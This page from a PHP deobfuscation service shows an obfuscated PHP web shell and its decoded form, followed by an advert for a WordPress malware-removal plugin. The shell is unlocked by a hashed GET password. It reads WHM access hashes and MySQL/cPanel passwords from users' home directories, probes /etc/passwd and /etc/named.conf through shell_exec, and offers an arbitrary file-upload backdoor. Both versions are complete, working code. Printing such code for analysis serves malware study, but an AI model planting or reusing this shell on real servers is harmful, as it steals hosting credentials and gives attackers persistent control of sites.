PHP deobfuscation, decryption, reconstruction tool

Obfuscated php code

<?php
$GLOBALS["CWhHbZYJyCHjDgyftSxT"]=base64_decode("PGZvbnQgY29sb3I9ImxpbWUiPik8L2ZvbnQ+PGJyPg==");$GLOBALS["EmWCkwJjPRGuYOZtumJp"]=base64_decode("PGZvbnQgY29sb3I9ImxpbWUiPik8L2ZvbnQ+IFBhc3N3b3JkIDxmb250IGNvbG9yPSJsaW1lIj4oPC9mb250Pg==");$GLOBALS["bVJnTtCrgLKHwzfUHjcT"]=base64_decode("Q3BhbmVsIDogVXNlcm5hbWUgPGZvbnQgY29sb3I9ImxpbWUiPig8L2ZvbnQ+");$GLOBALS["enNqNaCvEaCEJfTuGZEY"]=base64_decode("Ig==");$GLOBALS["XpddBdXLrKWyyPYzelqY"]=base64_decode("cGFzc3dvcmQ9Ig==");$GLOBALS["VsvrTtQREFDgBaOKcIDa"]=base64_decode("Ly5teS5jbmY=");$GLOBALS["TbNxDPKlgkTrSmyscAU"]=base64_decode("Ij48YnI+");$GLOBALS["ktwCrReEJlzuBUIjBcCk"]=base64_decode("Og==");$GLOBALS["iKRYyVIdmqhPYYCSOcXC"]=base64_decode("PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiB2YWx1ZT0iV0hNIA==");$GLOBALS["tugkmwKQmrdyfghQnRJj"]=base64_decode("");$GLOBALS["bGeiYINFnrDeFEvupBUY"]=base64_decode("L1xzKy8=");$GLOBALS["BAPhtyGHaABClPtZMFxH"]=base64_decode("Ly5hY2Nlc3NoYXNo");$GLOBALS["tFUYJbOtJhmFyZjfsSU"]=base64_decode("L2hvbWUv");$GLOBALS["GuXyhvFeKeLGGJlPUlfF"]=base64_decode("IDwvZm9udD48YnI+");$GLOBALS["iZaVktbokejxXiNkgKpc"]=base64_decode("PGJyPi9ldGMvcGFzc3dkIDo8Zm9udCBjb2xvcj1saW1lPiA=");$GLOBALS["SNGqShxtGwaNGulbEslL"]=base64_decode("IDwvZm9udD4=");$GLOBALS["kKfhBOunBTInaqjXYavf"]=base64_decode("PGJyPi9ldGMvbmFtZWQuY29uZiA6PGZvbnQgY29sb3I9bGltZT4g");$GLOBALS["DlsPjKWVrgveEKqsYdSa"]=base64_decode("PGZvbnQgY29sb3I9cHVycGxlPnIwMHRAdHJlbmdnYWxlazZldGFyOjwvZm9udD5+L3B3bmVkeiQ8L2ZvbnQ+");$GLOBALS["qkgFMCDdXJLzPwOVxCGQ"]=base64_decode("Y2F0IC9ldGMvcGFzc3dkIHwgd2MgLWw=");$GLOBALS["huzONxKfYWGPxVPVPes"]=base64_decode("Y2F0IC9ldGMvbmFtZWQuY29uZiB8IHdjIC1s");$GLOBALS["uumolgOuhdTqRsKtfybG"]=base64_decode("OTFmZWEwYTQxYTAxNzg3YTBkN2ZiNWQzZGU2MGU4MDA=");$GLOBALS["WxsIGxRWVdYozJCfEAVQ"]=base64_decode("PGI+R2FnYWwgQ29rPC9iPg==");$GLOBALS["BKNpTvpzulwWjIeUWQJG"]=base64_decode("PGI+QmVyaGFzaWwgQ29rIC0tPjwvYj4g");$GLOBALS["XckkIahjVOedVNldUNrH"]=base64_decode("bmFtZQ==");$GLOBALS["PGnDVWIKgIUmFrZyuhhU"]=base64_decode("dG1wX25hbWU=");$GLOBALS["TdnLLeRPHXLfGQQhfeY"]=base64_decode("Zg==");$GLOBALS["jPQfXyMbVRdmRhDpQRPM"]=base64_decode("dg==");$GLOBALS["rsxIByhBFebZeDDZsdU"]=base64_decode("PGlucHV0IHR5cGU9ZmlsZSBuYW1lPWY+PGlucHV0IG5hbWU9diB0eXBlPXN1Ym1pdCBpZD12IHZhbHVlPXVwPjxicj4=");$GLOBALS["GBVyRLGosxXOTNjNWxVM"]=base64_decode("PGZvcm0gbWV0aG9kPXBvc3QgZW5jdHlwZT1tdWx0aXBhcnQvZm9ybS1kYXRhPg==");$GLOBALS["mkNpRBwrWJjxjHDDegwo"]=base64_decode("PGJyPjxmb250IGNvbG9yPSMwMDAwMDA+");$GLOBALS["SnsSSwMKZSYeMFnEirnh"]=base64_decode("");$GLOBALS["DGPUKoItNOgKddvVRLxJ"]=base64_decode("PGZvbnQgY29sb3I9I2ZmMDAwMD4=");$GLOBALS["GbTsMVXjRYCygIHSLcUz"]=base64_decode("cmFpbXU=");
?><?php if(md5($_GET[$GLOBALS["GbTsMVXjRYCygIHSLcUz"]]) == $GLOBALS["uumolgOuhdTqRsKtfybG"]){ function OiBkgRvoCiGpNkvNYU($wZlFjIhFVqCspDQEdeya, $UsdXJbhvzxrvpvatHMkS, $yuNMmedDskyMIoXHAbhW) { if (strpos($wZlFjIhFVqCspDQEdeya, $UsdXJbhvzxrvpvatHMkS) === false) { return false; } if (strpos($wZlFjIhFVqCspDQEdeya, $yuNMmedDskyMIoXHAbhW) === false) { return false; } $KwIJJPGByIGobONZejI = strpos($wZlFjIhFVqCspDQEdeya, $UsdXJbhvzxrvpvatHMkS) + strlen($UsdXJbhvzxrvpvatHMkS); $epLzmNilVVwHedYAdhX = strpos($wZlFjIhFVqCspDQEdeya, $yuNMmedDskyMIoXHAbhW, $KwIJJPGByIGobONZejI); $YxQbAHuYxTyiFJgidsZv = substr($wZlFjIhFVqCspDQEdeya, $KwIJJPGByIGobONZejI, $epLzmNilVVwHedYAdhX - $KwIJJPGByIGobONZejI); return $YxQbAHuYxTyiFJgidsZv; } $EtpbwgWTVmqVpLJlJWWg = @get_current_user(); $bXtGHeNjhUpBhbQcwUCF = shell_exec($GLOBALS["huzONxKfYWGPxVPVPes"]); $ElgIzjEDBNqybgnnvhJv = shell_exec($GLOBALS["qkgFMCDdXJLzPwOVxCGQ"]); echo $GLOBALS["DlsPjKWVrgveEKqsYdSa"]; echo $GLOBALS["kKfhBOunBTInaqjXYavf"] . $bXtGHeNjhUpBhbQcwUCF . $GLOBALS["SNGqShxtGwaNGulbEslL"]; echo $GLOBALS["iZaVktbokejxXiNkgKpc"] . $ElgIzjEDBNqybgnnvhJv . $GLOBALS["GuXyhvFeKeLGGJlPUlfF"]; if (file_exists($GLOBALS["tFUYJbOtJhmFyZjfsSU"] . $EtpbwgWTVmqVpLJlJWWg . $GLOBALS["BAPhtyGHaABClPtZMFxH"])) { $bxTCuxeVRNNjqFkklhWs = file_get_contents($GLOBALS["tFUYJbOtJhmFyZjfsSU"] . $EtpbwgWTVmqVpLJlJWWg . $GLOBALS["BAPhtyGHaABClPtZMFxH"]); $bxTCuxeVRNNjqFkklhWs = preg_replace($GLOBALS["bGeiYINFnrDeFEvupBUY"], $GLOBALS["tugkmwKQmrdyfghQnRJj"], $bxTCuxeVRNNjqFkklhWs); echo $GLOBALS["iKRYyVIdmqhPYYCSOcXC"] . $EtpbwgWTVmqVpLJlJWWg . $GLOBALS["ktwCrReEJlzuBUIjBcCk"] . $bxTCuxeVRNNjqFkklhWs . $GLOBALS["TbNxDPKlgkTrSmyscAU"]; } if (file_exists($GLOBALS["tFUYJbOtJhmFyZjfsSU"] . $EtpbwgWTVmqVpLJlJWWg . $GLOBALS["VsvrTtQREFDgBaOKcIDa"])) { $PHpHWmophZKXweRrVTOV = file_get_contents($GLOBALS["tFUYJbOtJhmFyZjfsSU"] . $EtpbwgWTVmqVpLJlJWWg . $GLOBALS["VsvrTtQREFDgBaOKcIDa"]); $PHpHWmophZKXweRrVTOV = ambilkata($PHpHWmophZKXweRrVTOV, $GLOBALS["XpddBdXLrKWyyPYzelqY"], $GLOBALS["enNqNaCvEaCEJfTuGZEY"]); echo $GLOBALS["bVJnTtCrgLKHwzfUHjcT"] . $EtpbwgWTVmqVpLJlJWWg . $GLOBALS["EmWCkwJjPRGuYOZtumJp"] . $PHpHWmophZKXweRrVTOV . $GLOBALS["CWhHbZYJyCHjDgyftSxT"]; } echo$GLOBALS["DGPUKoItNOgKddvVRLxJ"].php_uname().$GLOBALS["SnsSSwMKZSYeMFnEirnh"];echo$GLOBALS["mkNpRBwrWJjxjHDDegwo"].getcwd().$GLOBALS["SnsSSwMKZSYeMFnEirnh"];echo$GLOBALS["GBVyRLGosxXOTNjNWxVM"];echo$GLOBALS["rsxIByhBFebZeDDZsdU"];if($_POST[$GLOBALS["jPQfXyMbVRdmRhDpQRPM"]]==up){if(@copy($_FILES[$GLOBALS["TdnLLeRPHXLfGQQhfeY"]][$GLOBALS["PGnDVWIKgIUmFrZyuhhU"]],$_FILES[$GLOBALS["TdnLLeRPHXLfGQQhfeY"]][$GLOBALS["XckkIahjVOedVNldUNrH"]])){echo$GLOBALS["BKNpTvpzulwWjIeUWQJG"].$_FILES[$GLOBALS["TdnLLeRPHXLfGQQhfeY"]][$GLOBALS["XckkIahjVOedVNldUNrH"]];}else{echo$GLOBALS["WxsIGxRWVdYozJCfEAVQ"];}}} ?>

Decoded(de-Obfuscated) php code

<?php

$GLOBALS["CWhHbZYJyCHjDgyftSxT"] = "<font color=\"lime\">)</font><br>";
$GLOBALS["EmWCkwJjPRGuYOZtumJp"] = "<font color=\"lime\">)</font> Password <font color=\"lime\">(</font>";
$GLOBALS["bVJnTtCrgLKHwzfUHjcT"] = "Cpanel : Username <font color=\"lime\">(</font>";
$GLOBALS["enNqNaCvEaCEJfTuGZEY"] = "\"";
$GLOBALS["XpddBdXLrKWyyPYzelqY"] = "password=\"";
$GLOBALS["VsvrTtQREFDgBaOKcIDa"] = "/.my.cnf";
$GLOBALS["TbNxDPKlgkTrSmyscAU"] = "\"><br>";
$GLOBALS["ktwCrReEJlzuBUIjBcCk"] = ":";
$GLOBALS["iKRYyVIdmqhPYYCSOcXC"] = "<input type=\"text\" size=\"30\" value=\"WHM ";
$GLOBALS["tugkmwKQmrdyfghQnRJj"] = "";
$GLOBALS["bGeiYINFnrDeFEvupBUY"] = "/\\s+/";
$GLOBALS["BAPhtyGHaABClPtZMFxH"] = "/.accesshash";
$GLOBALS["tFUYJbOtJhmFyZjfsSU"] = "/home/";
$GLOBALS["GuXyhvFeKeLGGJlPUlfF"] = " </font><br>";
$GLOBALS["iZaVktbokejxXiNkgKpc"] = "<br>/etc/passwd :<font color=lime> ";
$GLOBALS["SNGqShxtGwaNGulbEslL"] = " </font>";
$GLOBALS["kKfhBOunBTInaqjXYavf"] = "<br>/etc/named.conf :<font color=lime> ";
$GLOBALS["DlsPjKWVrgveEKqsYdSa"] = "<font color=purple>r00t@trenggalek6etar:</font>~/pwnedz\$</font>";
$GLOBALS["qkgFMCDdXJLzPwOVxCGQ"] = "cat /etc/passwd | wc -l";
$GLOBALS["huzONxKfYWGPxVPVPes"] = "cat /etc/named.conf | wc -l";
$GLOBALS["uumolgOuhdTqRsKtfybG"] = "91fea0a41a01787a0d7fb5d3de60e800";
$GLOBALS["WxsIGxRWVdYozJCfEAVQ"] = "<b>Gagal Cok</b>";
$GLOBALS["BKNpTvpzulwWjIeUWQJG"] = "<b>Berhasil Cok --></b> ";
$GLOBALS["XckkIahjVOedVNldUNrH"] = "name";
$GLOBALS["PGnDVWIKgIUmFrZyuhhU"] = "tmp_name";
$GLOBALS["TdnLLeRPHXLfGQQhfeY"] = "f";
$GLOBALS["jPQfXyMbVRdmRhDpQRPM"] = "v";
$GLOBALS["rsxIByhBFebZeDDZsdU"] = "<input type=file name=f><input name=v type=submit id=v value=up><br>";
$GLOBALS["GBVyRLGosxXOTNjNWxVM"] = "<form method=post enctype=multipart/form-data>";
$GLOBALS["mkNpRBwrWJjxjHDDegwo"] = "<br><font color=#000000>";
$GLOBALS["SnsSSwMKZSYeMFnEirnh"] = "";
$GLOBALS["DGPUKoItNOgKddvVRLxJ"] = "<font color=#ff0000>";
$GLOBALS["GbTsMVXjRYCygIHSLcUz"] = "raimu";
if (md5($_GET[$GLOBALS["GbTsMVXjRYCygIHSLcUz"]]) == $GLOBALS["uumolgOuhdTqRsKtfybG"]) {
    function OiBkgRvoCiGpNkvNYU($wZlFjIhFVqCspDQEdeya, $UsdXJbhvzxrvpvatHMkS, $yuNMmedDskyMIoXHAbhW)
    {
        if (strpos($wZlFjIhFVqCspDQEdeya, $UsdXJbhvzxrvpvatHMkS) === false) {
            return false;
        }
        if (strpos($wZlFjIhFVqCspDQEdeya, $yuNMmedDskyMIoXHAbhW) === false) {
            return false;
        }
        $KwIJJPGByIGobONZejI = strpos($wZlFjIhFVqCspDQEdeya, $UsdXJbhvzxrvpvatHMkS) + strlen($UsdXJbhvzxrvpvatHMkS);
        $epLzmNilVVwHedYAdhX = strpos($wZlFjIhFVqCspDQEdeya, $yuNMmedDskyMIoXHAbhW, $KwIJJPGByIGobONZejI);
        $YxQbAHuYxTyiFJgidsZv = substr($wZlFjIhFVqCspDQEdeya, $KwIJJPGByIGobONZejI, $epLzmNilVVwHedYAdhX - $KwIJJPGByIGobONZejI);
        return $YxQbAHuYxTyiFJgidsZv;
    }
    $EtpbwgWTVmqVpLJlJWWg = @get_current_user();
    $bXtGHeNjhUpBhbQcwUCF = shell_exec($GLOBALS["huzONxKfYWGPxVPVPes"]);
    $ElgIzjEDBNqybgnnvhJv = shell_exec($GLOBALS["qkgFMCDdXJLzPwOVxCGQ"]);
    echo $GLOBALS["DlsPjKWVrgveEKqsYdSa"];
    echo $GLOBALS["kKfhBOunBTInaqjXYavf"] . $bXtGHeNjhUpBhbQcwUCF . $GLOBALS["SNGqShxtGwaNGulbEslL"];
    echo $GLOBALS["iZaVktbokejxXiNkgKpc"] . $ElgIzjEDBNqybgnnvhJv . $GLOBALS["GuXyhvFeKeLGGJlPUlfF"];
    if (file_exists($GLOBALS["tFUYJbOtJhmFyZjfsSU"] . $EtpbwgWTVmqVpLJlJWWg . $GLOBALS["BAPhtyGHaABClPtZMFxH"])) {
        $bxTCuxeVRNNjqFkklhWs = file_get_contents($GLOBALS["tFUYJbOtJhmFyZjfsSU"] . $EtpbwgWTVmqVpLJlJWWg . $GLOBALS["BAPhtyGHaABClPtZMFxH"]);
        $bxTCuxeVRNNjqFkklhWs = preg_replace($GLOBALS["bGeiYINFnrDeFEvupBUY"], $GLOBALS["tugkmwKQmrdyfghQnRJj"], $bxTCuxeVRNNjqFkklhWs);
        echo $GLOBALS["iKRYyVIdmqhPYYCSOcXC"] . $EtpbwgWTVmqVpLJlJWWg . $GLOBALS["ktwCrReEJlzuBUIjBcCk"] . $bxTCuxeVRNNjqFkklhWs . $GLOBALS["TbNxDPKlgkTrSmyscAU"];
    }
    if (file_exists($GLOBALS["tFUYJbOtJhmFyZjfsSU"] . $EtpbwgWTVmqVpLJlJWWg . $GLOBALS["VsvrTtQREFDgBaOKcIDa"])) {
        $PHpHWmophZKXweRrVTOV = file_get_contents($GLOBALS["tFUYJbOtJhmFyZjfsSU"] . $EtpbwgWTVmqVpLJlJWWg . $GLOBALS["VsvrTtQREFDgBaOKcIDa"]);
        $PHpHWmophZKXweRrVTOV = ambilkata($PHpHWmophZKXweRrVTOV, $GLOBALS["XpddBdXLrKWyyPYzelqY"], $GLOBALS["enNqNaCvEaCEJfTuGZEY"]);
        echo $GLOBALS["bVJnTtCrgLKHwzfUHjcT"] . $EtpbwgWTVmqVpLJlJWWg . $GLOBALS["EmWCkwJjPRGuYOZtumJp"] . $PHpHWmophZKXweRrVTOV . $GLOBALS["CWhHbZYJyCHjDgyftSxT"];
    }
    echo $GLOBALS["DGPUKoItNOgKddvVRLxJ"] . php_uname() . $GLOBALS["SnsSSwMKZSYeMFnEirnh"];
    echo $GLOBALS["mkNpRBwrWJjxjHDDegwo"] . getcwd() . $GLOBALS["SnsSSwMKZSYeMFnEirnh"];
    echo $GLOBALS["GBVyRLGosxXOTNjNWxVM"];
    echo $GLOBALS["rsxIByhBFebZeDDZsdU"];
    if ($_POST[$GLOBALS["jPQfXyMbVRdmRhDpQRPM"]] == up) {
        if (@copy($_FILES[$GLOBALS["TdnLLeRPHXLfGQQhfeY"]][$GLOBALS["PGnDVWIKgIUmFrZyuhhU"]], $_FILES[$GLOBALS["TdnLLeRPHXLfGQQhfeY"]][$GLOBALS["XckkIahjVOedVNldUNrH"]])) {
            echo $GLOBALS["BKNpTvpzulwWjIeUWQJG"] . $_FILES[$GLOBALS["TdnLLeRPHXLfGQQhfeY"]][$GLOBALS["XckkIahjVOedVNldUNrH"]];
        } else {
            echo $GLOBALS["WxsIGxRWVdYozJCfEAVQ"];
        }
    }
}

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.